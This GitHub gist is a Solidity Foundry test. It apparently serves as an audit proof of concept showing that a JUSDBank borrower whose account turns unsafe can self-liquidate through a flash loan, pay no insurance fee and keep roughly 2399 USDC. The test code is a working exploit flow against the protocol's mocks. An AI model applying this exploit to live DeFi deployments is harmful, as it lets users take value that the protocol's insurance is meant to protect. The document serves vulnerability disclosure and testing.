Skip to content

Instantly share code, notes, and snippets.

@bzpassersby
Last active May 9, 2023 18:26
Show Gist options
  • Save bzpassersby/dbb2a004b2d9a573f413fa4735d1d6ec to your computer and use it in GitHub Desktop.
Save bzpassersby/dbb2a004b2d9a573f413fa4735d1d6ec to your computer and use it in GitHub Desktop.
When a borrower's account becomes unsafe, they can call flashloan function to self-liquidate the account, making a profit without paying the insurance fee.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "./JUSDBankInit.t.sol";
import "../mocks/MockChainLink900.sol";
import "../../src/utils/JUSDError.sol";
import "../../src/Impl/flashloanImpl/FlashLoanLiquidate.sol";
contract SelfLiquidateFlashLoanTest is JUSDBankInitTest {
/**When a borrower's account becomes unsafe, they can call flashloan function to self-liquidate the account, making a profit without
* paying the insurance fee. The under collateralized borrower will be able to leverage all of their collateral through the flashloan
* to sell their collaterals the similar way as liquidators do.
* They can sell the collaterals at an optimal price to gain profit.
* The protocol would lose on insurance fee protection.
*
* Reserve setting:
* jusdBank.initReserve(
// token
address(mockToken1),
// initialMortgageRate
8e17,
// maxDepositAmount
4000e18,
// maxDepositAmountPerAccount
2030e18,
// maxBorrowValue
100000e6,
// liquidateMortgageRate
825e15,
// liquidationPriceOff
5e16,
// insuranceFeeRate
1e17,
address(jojoOracle1)
);
*/
function test_flashLoan_self_Liquidate_no_fee_paid() public {
mockToken1.transfer(alice, 10 * ONE);
vm.startPrank(alice);
mockToken1.approve(address(jusdBank), 10 * ONE);
jusdBank.deposit(alice, address(mockToken1), 10 * ONE, alice); //Alice deposited 10e18 mockToken1
vm.warp(1000);
jusdBank.borrow(7600e6, alice, false);
require(jusdBank.getBorrowBalance(alice) == 7600e6); //Alice borrowed maxBorrowAmount JUSD and account is safe after borrow
vm.stopPrank();
vm.warp(2000);
MockChainLink900 eth900 = new MockChainLink900();
JOJOOracleAdaptor jojoOracle900 = new JOJOOracleAdaptor(
address(eth900),
20,
86400,
address(usdcPrice)
);
jusdBank.updateOracle(address(mockToken1), address(jojoOracle900));
swapContract.addTokenPrice(address(mockToken1), address(jojoOracle1));
require(jusdBank.isAccountSafe(alice) == false); ////Alice account is not safe, and can be liquidated.
//init flashloanRepay
FlashLoanLiquidate flashLoanLiquidate = new FlashLoanLiquidate(
address(jusdBank),
address(jusdExchange),
address(USDC),
address(jusd),
insurance
);
bytes memory data = swapContract.getSwapData(
10e18,
address(mockToken1)
);
bytes memory param = abi.encode(
swapContract,
swapContract,
address(alice),
data
);
// liquidate
vm.startPrank(alice);
uint256 aliceBorrow = jusdBank.getBorrowBalance(alice);
console.log(aliceBorrow);
FlashLoanLiquidate.LiquidateData memory liq = FlashLoanLiquidate
.LiquidateData({
actualCollateral: 10e18,
insuranceFee: 0,
actualLiquidatedT0: 0,
actualLiquidated: aliceBorrow,
liquidatedRemainUSDC: 0
});
bytes memory jojoFlashParam = abi.encode(liq, param);
jusdBank.flashLoan(
address(flashLoanLiquidate),
address(mockToken1),
10e18,
address(alice),
jojoFlashParam
);
vm.stopPrank();
aliceBorrow = jusdBank.getBorrowBalance(alice);
uint256 aliceDeposit = jusdBank.getDepositBalance(
address(mockToken1),
alice
);
uint256 insuranceUSDC = IERC20(USDC).balanceOf(insurance);
console.log(insuranceUSDC);
//log:0 Alice didn't pay insurance fees to the protocol
uint256 aliceUSDC = IERC20(USDC).balanceOf(alice);
console.log(aliceUSDC);
//log: 2399995181 (roughly 2399 usd) Alice earned 2399 usd by self-liquidating
assertEq(jusdBank.isAccountSafe(alice), true); ////Alice self-liquidated
assertEq(aliceBorrow, 0); ////Alice self-liquidated
assertEq(aliceDeposit, 0); ////Alice's collateral is 0
assertEq(jusdBank.getUserCollateralList(alice).length, 0); ////Alice's collateral list is empty
assertEq(
jusdBank.getIfHasCollateral(alice, address(mockToken1)),
false
); ////Alice's collateral list is empty
assertEq(insuranceUSDC, 0); ////No insurance fee paid!
assertEq(aliceUSDC > 0, true); ////Alice made a profit self-liquidating
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment